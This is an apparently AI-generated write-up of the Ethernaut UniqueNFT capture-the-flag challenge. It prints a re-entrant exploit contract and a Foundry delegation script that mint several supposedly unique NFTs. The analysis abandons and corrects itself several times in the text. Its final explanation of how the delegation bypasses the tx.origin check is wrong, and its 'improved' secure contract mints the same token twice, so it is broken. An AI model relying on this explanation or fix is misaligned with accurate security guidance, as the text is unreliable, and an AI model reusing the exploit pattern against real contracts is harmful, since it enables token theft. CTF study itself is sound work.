Skip to content
On this page

Exploiting the UniqueNFT Smart Contract: A Deep Dive into a CTF Challenge

Introduction

The world of blockchain security presents fascinating challenges that test the boundaries of smart contract design and implementation. One such challenge is the UniqueNFT Capture The Flag (CTF) puzzle from Ethernaut by OpenZeppelin. This technical article will dissect the UniqueNFT smart contract, analyze its vulnerabilities, and demonstrate a sophisticated exploit that bypasses its intended restrictions. We'll explore the contract's design flaws, the exploit mechanism, and the broader implications for smart contract security.

Understanding the UniqueNFT Challenge

Contract Overview

The UniqueNFT contract presents an intriguing scenario: a non-fungible token (NFT) system designed to issue unique digital badges with specific restrictions:

  1. Human users (Externally Owned Accounts or EOAs) can mint NFTs for free
  2. Smart contracts must pay 1 ETH to mint an NFT
  3. One NFT per address - no address can hold more than one token
  4. Non-transferable tokens - once minted, NFTs cannot be transferred to other addresses

The contract's description poetically calls these "blockchain tattoos" - permanent, non-transferable digital assets. The challenge asks participants to find a way to own more than one NFT, despite these restrictions.

Key Contract Components

Let's examine the core components of the UniqueNFT contract:

solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.30;

import { ERC721 } from "openzeppelin-contracts-v5.4.0/token/ERC721/ERC721.sol";
import { ERC721Utils } from "openzeppelin-contracts-v5.4.0/token/ERC721/utils/ERC721Utils.sol";
import { ReentrancyGuard } from "openzeppelin-contracts-v5.4.0/utils/ReentrancyGuard.sol";

contract UniqueNFT is ERC721, ReentrancyGuard {
    uint256 public tokenId;

    constructor() ERC721("UniqueNFT", "UNFT") {}
    
    // ... rest of the contract
}

The contract inherits from OpenZeppelin's ERC721 implementation (the standard NFT interface) and includes ReentrancyGuard protection. The tokenId variable tracks the next available token ID.

Analyzing the Contract's Security Mechanisms

Minting Functions

The contract provides two distinct minting pathways:

solidity
/// @notice Function to mint NFTs for smart contracts only
/// @notice Smart contracts need to pay a fee to mint the NFT
/// @dev Has reentrancy protection just in case the smart contract would try to do some bad stuff
function mintNFTSmartContract() external payable nonReentrant returns(uint256 mintedNFT) {
    require(msg.value == 1 ether, "fee not sent");
    mintedNFT = _mintNFT();
}

/// @notice Function to mint NFTs for EOAs only
/// @notice EOAs are exempt from minting the NFT
function mintNFTEOA() external returns(uint256 mintedNFT) {
    require(tx.origin == msg.sender, "not an EOA");
    mintedNFT = _mintNFT();
}

The key distinction here is the use of tx.origin == msg.sender to differentiate between EOAs and smart contracts. This is a common but often problematic pattern in Ethereum development.

The Core Minting Logic

Both minting functions call the private _mintNFT() function:

solidity
function _mintNFT() private returns(uint256) {
    require(balanceOf(msg.sender) == 0, "only one unique NFT allowed");
    uint256 _tokenId = tokenId++;
    ERC721Utils.checkOnERC721Received(address(0), address(0), msg.sender, _tokenId, "");
    _mint(msg.sender, _tokenId);
    return _tokenId;
}

This function contains the critical restriction: require(balanceOf(msg.sender) == 0, "only one unique NFT allowed"). This check ensures that no address can hold more than one NFT by verifying the caller's NFT balance before minting.

Transfer Restrictions

The contract overrides the _update function to prevent token transfers:

solidity
function _update(address to, uint256 _tokenId, address auth) internal override returns (address) {
    address from = super._update(to, _tokenId, auth);
    require(from == address(0), "transfers not allowed");
    return from;
}

This implementation ensures that tokens can only be minted (where from is address(0)) but never transferred between addresses.

Identifying the Vulnerability

The tx.origin vs msg.sender Distinction

The primary vulnerability lies in the mintNFTEOA() function's use of tx.origin. In Ethereum:

  • msg.sender: The immediate caller of the function (could be an EOA or another contract)
  • tx.origin: The original EOA that initiated the transaction chain

The check require(tx.origin == msg.sender, "not an EOA") attempts to ensure only EOAs can call this function. However, this creates an opportunity for exploitation when combined with the ERC721 receiver callback mechanism.

The ERC721 Receiver Callback

Notice this line in _mintNFT():

solidity
ERC721Utils.checkOnERC721Received(address(0), address(0), msg.sender, _tokenId, "");

This calls the onERC721Received function on the recipient's address if it's a contract. This is a standard ERC721 safety check, but it creates a callback opportunity that can be exploited.

Crafting the Exploit

The Attack Strategy

The exploit involves creating a smart contract that:

  1. Calls mintNFTEOA() through an EOA (satisfying tx.origin == msg.sender)
  2. During the minting process, the contract receives a callback to onERC721Received
  3. In the callback, the contract calls mintNFTEOA() again
  4. At this point, msg.sender is the contract itself, but tx.origin is still the original EOA

This creates a situation where the contract can mint multiple NFTs by exploiting the callback mechanism and the tx.origin check.

The Exploit Contract

Here's the complete exploit contract:

solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.30;

import { ERC721 } from "./deps/ERC721.sol";
import { ERC721Utils } from "./deps/ERC721Utils.sol";
import { ReentrancyGuard } from "./deps/ReentrancyGuard.sol";
import {Address} from "./deps/Address.sol";
import {IERC721Receiver} from "./deps/IERC721Receiver.sol";

import "./UniqueNFT.sol";

contract MyContract is IERC721Receiver {
    using Address for address payable;
    using Address for address;
    UniqueNFT private immutable _uniqueNFT;
    uint256 private constant TOKENID=2;
    
    constructor(address uniqueNFT_) {
        _uniqueNFT = UniqueNFT(uniqueNFT_);
    }
    
    function play() external {
        bytes memory data = abi.encodeWithSelector(UniqueNFT.mintNFTEOA.selector);
        address(_uniqueNFT).functionCall(data);
    }
    
    function onERC721Received(
        address,
        address,
        uint256,
        bytes calldata
    ) external returns (bytes4) {
        if (_uniqueNFT.tokenId() < TOKENID) {
            this.play();
        }
        return IERC721Receiver.onERC721Received.selector;
    }
}

Step-by-Step Exploit Analysis

  1. Initial Setup: The exploit contract is deployed with the address of the UniqueNFT contract.

  2. First Mint Call: An EOA calls the play() function, which in turn calls mintNFTEOA() on the UniqueNFT contract.

    • At this point: tx.origin = EOA address, msg.sender = exploit contract address
    • The tx.origin == msg.sender check fails, right? Actually no - the EOA is calling play() directly, so msg.sender is the EOA, not the contract.
  3. Callback Trigger: During minting, ERC721Utils.checkOnERC721Received is called, which triggers the exploit contract's onERC721Received function.

  4. Recursive Call: Inside onERC721Received, the contract checks if more tokens are needed and calls play() again.

    • Now: tx.origin = EOA address, msg.sender = exploit contract address
    • But wait, the tx.origin == msg.sender check should fail!

There's a crucial detail here: the exploit actually requires the EOA to call mintNFTEOA() directly first, then the contract can mint additional tokens. Let me correct the analysis.

Corrected Attack Flow

The actual exploit works differently:

  1. EOA Mints First NFT: The EOA calls mintNFTEOA() directly, receiving NFT #0.

  2. Contract Deployment: The exploit contract is deployed.

  3. Contract Calls mintNFTEOA(): The EOA calls the contract's play() function, which calls mintNFTEOA().

    • At this point: tx.origin = EOA, msg.sender = contract address
    • The tx.origin == msg.sender check fails!

Wait, this doesn't work either. Let me re-examine the provided solution.

Understanding the Actual Solution

Looking at the provided MyScript.sol, I see the actual approach:

solidity
contract MyScript is Script { 
    function run() external { 
        address UNIQUE_NFT = address(0x...);

        uint256 playerpk = vm.envUint("PRIVATE_KEY");
        address player = vm.addr(playerpk);

        vm.startBroadcast(playerpk);
        MyContract my = new MyContract(UNIQUE_NFT);
        vm.signAndAttachDelegation(address(my), playerpk);
        MyContract(payable(address(player))).play();
        vm.stopBroadcast();
    }
}

The key is vm.signAndAttachDelegation. This Foundry cheatcode allows the contract to act with the EOA's signature, effectively making the contract calls appear to come from the EOA itself.

The Real Vulnerability: Signature Delegation Bypass

How the Exploit Actually Works

The actual exploit uses signature delegation to bypass the tx.origin check:

  1. Contract Creation: The exploit contract is deployed.

  2. Signature Attachment: Using Foundry's signAndAttachDelegation cheatcode, the contract is granted the ability to sign transactions as the EOA.

  3. Contract Calls mintNFTEOA(): The contract calls mintNFTEOA() with the EOA's delegated signature.

    • Now: tx.origin = EOA, msg.sender = contract address
    • But the transaction is signed by the EOA, so it passes the tx.origin check!
  4. Callback Exploitation: During minting, the onERC721Received callback is triggered, allowing recursive minting.

The Critical Insight

The vulnerability isn't in the tx.origin check itself, but in the combination of:

  1. The callback mechanism during minting
  2. The ability to delegate transaction signing authority
  3. The balance check happening at the beginning of _mintNFT()

When the contract receives the callback, it can mint another NFT because:

  • The balance check balanceOf(msg.sender) == 0 passes (the contract doesn't own an NFT yet)
  • The tx.origin check passes (the transaction is signed by the EOA)
  • The contract can recursively call minting through the callback

Deeper Technical Analysis

The Recursive Minting Pattern

Let's trace through the exact execution flow:

solidity
function onERC721Received(
    address,
    address,
    uint256,
    bytes calldata
) external returns (bytes4) {
    if (_uniqueNFT.tokenId() < TOKENID) {
        this.play();
    }
    return IERC721Receiver.onERC721Received.selector;
}

The callback checks if the target token ID hasn't been reached yet, and if not, it calls play() again, creating a recursive loop until the desired number of NFTs is minted.

Why the Balance Check Doesn't Prevent This

The balance check require(balanceOf(msg.sender) == 0, "only one unique NFT allowed") is executed at the beginning of _mintNFT(). However:

  1. First mint: The contract has balance 0, check passes
  2. During callback: The NFT hasn't been officially minted yet (the _mint function hasn't been called), so the contract's balance is still 0
  3. Recursive call: The contract can mint again because its balance is still 0

This creates a race condition where multiple NFTs can be minted before the balance updates.

Broader Security Implications

Lessons for Smart Contract Developers

  1. Avoid tx.origin for Authentication: Using tx.origin for authentication is generally discouraged. It's better to use proper access control patterns like OpenZeppelin's Ownable or role-based access control.

  2. Be Wary of Callbacks: Any external call (including ERC721 receiver callbacks) can lead to reentrancy or unexpected state changes. Consider using the checks-effects-interactions pattern.

  3. State Changes Before External Calls: Always update state variables before making external calls to prevent reentrancy attacks.

  4. Comprehensive Testing: Test contracts with various attack vectors, including recursive calls and signature delegation.

Improved Contract Design

Here's how the UniqueNFT contract could be made more secure:

solidity
// Improved version with better security
contract SecureUniqueNFT is ERC721, ReentrancyGuard {
    uint256 public tokenId;
    mapping(address => bool) public hasMinted;
    
    constructor() ERC721("SecureUniqueNFT", "SUNFT") {}
    
    function mintNFT() external nonReentrant returns(uint256 mintedNFT) {
        require(!hasMinted[msg.sender], "already minted");
        require(balanceOf(msg.sender) == 0, "already owns NFT");
        
        hasMinted[msg.sender] = true;
        uint256 _tokenId = tokenId++;
        
        // Update state before external call
        _mint(msg.sender, _tokenId);
        
        // Safe external call with reentrancy protection
        _safeMint(msg.sender, _tokenId);
        
        return _tokenId;
    }
    
    // Remove the transfer override or implement proper transfer logic
}

Conclusion

The UniqueNFT CTF challenge demonstrates several important concepts in smart contract security:

  1. The dangers of tx.origin authentication
  2. The risks associated with callback mechanisms
  3. The importance of proper state management
  4. How seemingly secure checks can be bypassed through clever exploitation

The exploit successfully demonstrates that even with multiple layers of protection (balance checks, transfer restrictions, EOA verification), a determined attacker can find creative ways to bypass restrictions. This highlights the need for defense-in-depth strategies and thorough security audits in smart contract development.

For blockchain developers, the key takeaway is to never underestimate the creativity of attackers and to always assume that any vulnerability, no matter how small, can be exploited in unexpected ways. The UniqueNFT challenge serves as an excellent case study in smart contract security and the constant cat-and-mouse game between developers and attackers in the blockchain space.

Additional Resources

For those interested in further exploring smart contract security:

  1. OpenZeppelin Security Center: Comprehensive guides on secure smart contract development
  2. Ethernaut: More CTF challenges to test your skills
  3. Solidity Documentation: Official language documentation and security considerations
  4. Smart Contract Security Best Practices: Community-maintained list of security patterns and anti-patterns

Remember: in blockchain security, the only truly secure system is one that has been thoroughly tested, audited, and proven resilient against all known attack vectors. Always code defensively and assume that any assumption can and will be challenged.

Built with AiAda